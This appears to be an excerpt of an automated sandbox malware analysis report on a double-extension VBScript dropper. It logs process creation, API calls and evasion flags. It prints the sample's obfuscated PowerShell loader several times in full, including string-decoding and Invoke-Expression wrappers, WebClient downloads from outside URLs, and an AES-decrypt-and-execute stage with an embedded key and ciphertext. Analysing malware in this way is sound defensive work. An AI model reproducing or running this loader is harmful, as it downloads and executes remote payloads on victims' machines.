Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes9
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI98685860701936162316809131591218CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI/cGJmqVj5jCchNUuqniccRhpmR5qMkJqyaxLjAOoZS+I6UjjzBuHKkMUIawH3bTvDj7nWJq1X++W/D0YbGXb8mznv8QaOqQP1S2jB+yDre2mYNc51z88VDp5yhLxv2jub4BAD5MQkn09gj7sFrzKiS0Lv4bbd7SWdBlNNY01HOPdZZi88uLKrHF094fRfKbDTWl6drqxh86PYBPPz5p2Ly9NFsVGPk0kub6u6Kg9MbD3UxusVGZCdUc0aq5EXDqvPaek1WSrhMDfsWP03fZTtbxI2uIb73uc20hNa8tKlWpVgQcg5yXgT1Syt4JsFjugZ9Qtq1uX/OG7aRAuR2SPi44P27EfktJtInMKpDXYHkjZS52YqNTFAu7vkn80WLfrjaKO1puSNI83KG4Gb5VMO0L0qfDKNvusZUr6nwSAndn5NEdU4kRRcVNX137D+ZBob0WbqlGLDBY6a+EMGzYtzcJ9yDU9sRHuvpnJ5c0hkwPy4DW2nC9xKyXClHpMrOAGz59KK909AdcVa3cZMI4okN0iylLC6wphikPk+n/lH8dSrmPfxXmnyxHQ6FPMQ3t7W6XvHMIHBTNK1roZfwexEEon7dKRDC0d2IrLWlyM+aSkJSwieqOUXpMZyJUm2hcsj8O2qQ6SJSSECSO9pH7mC3RTLzx/Yu4I0g+aMXaEbo7jnGZCzrsoXBRasrE5huijlM3SPVHWt7BmPHFNB5UAtl1Poeor3payTIoDvmHLQ5udJKwLQ55FOeaNJf+pmojioT+Punj9PkhiGcH6xTdE+2IrxNPE7ay7Vlrz0F+zzhORfur8P5pHWq383QgBA8DubDwQoW+2/zvvGy0+vtBVpAZBtMhKqsSHtY4fy3hgqLxKhWAneQJQ8WqLkzqUVDY9EPZtjGeMds6via1iXp+weIOrC5nUhoaj4yGoY2MoXMyeOduTv3614RUxvqvvcerqLinXXajm5YyY2gVFXVy7lQs/l3ppDJ/Er9yz3s9rYpNCLl0sEExFChP/0AEE9hA3qtQqm07KfQM7Fm/TxVhAZZQIl8WYJ4sl9VdVuOvk82qKlTC24fpX5MYkZQF4iy2oZu7+PswZNBWNr+R8IbeXGpk6YULjJIQEn49p7IIebLL4A+J83MoPUBcLr/3wfiOdRztCS5fsI1/7gWW61aBZmh9WQ5Y/PN8qrPMJKYzSp84UIHHxGLfpUuclLTYd6067KhaUF+isNYUo0YQamdLvdcnsAnB1fFVG2Z6opzbG7sqFu6AQguz584NTtWuBMlcl43XDc/g09jFmr9jk22MvT+6/1kqeSuax5g4j6g6n3MjeEp9CvY3LOjh+/KWuQr/Kbqc4JIBZhwkTcrNn4Yi2/MmJ/0v3oIfVqNNecpNoQxXyyJjgkG+362VFqQj/+ROnzXepvq3WcWkQ/CheHAW5Iw==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes9	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes9	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,

4_2_0041CB50

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848F0816B push ebx; ret	2_2_00007FF848F0816A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848F080D3 push ebx; ret	2_2_00007FF848F0816A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848F000BD pushad ; iretd	2_2_00007FF848F000C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00457106 push ecx; ret	4_2_00457119
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0045B11A push esp; ret	4_2_0045B141
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0045E54D push esi; ret	4_2_0045E556
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00457A28 push eax; ret	4_2_00457A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00434E56 push ecx; ret	4_2_00434E69
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_10002806 push ecx; ret	4_2_10002819
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0044693D push ecx; ret	7_2_0044694D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0044DB70 push eax; ret	7_2_0044DB84
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0044DB70 push eax; ret	7_2_0044DBAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00451D54 push eax; ret	7_2_00451D61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0044B090 push eax; ret	8_2_0044B0A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0044B090 push eax; ret	8_2_0044B0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00451D34 push eax; ret	8_2_00451D41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00444E71 push ecx; ret	8_2_00444E81
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00414060 push eax; ret	9_2_00414074
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00414060 push eax; ret	9_2_0041409C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00414039 push ecx; ret	9_2_00414049
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004164EB push 0000006Ah; retf	9_2_004165C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00416553 push 0000006Ah; retf	9_2_004165C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00416555 push 0000006Ah; retf	9_2_004165C4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_040D0F28 push eax; ret	10_2_040D0F62
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_040D0F68 push eax; ret	10_2_040D0F72
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_040D0F78 push eax; ret	10_2_040D0F82
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_040D0F88 push eax; ret	10_2_040D0F92
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_06EC33D8 push FFFFFFE8h; retf	10_2_06EC33E1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_06EC1FC8 push eax; mov dword ptr [esp], ecx	10_2_06EC21B4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00406EB0 ShellExecuteW,URLDownloadToFileW,

4_2_00406EB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

4_2_0041AA4A

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: gif.vbs

Static PE information: createdthingstobefrankwithmeeverywhere.gIF.vbs

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

4_2_0041CB50

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
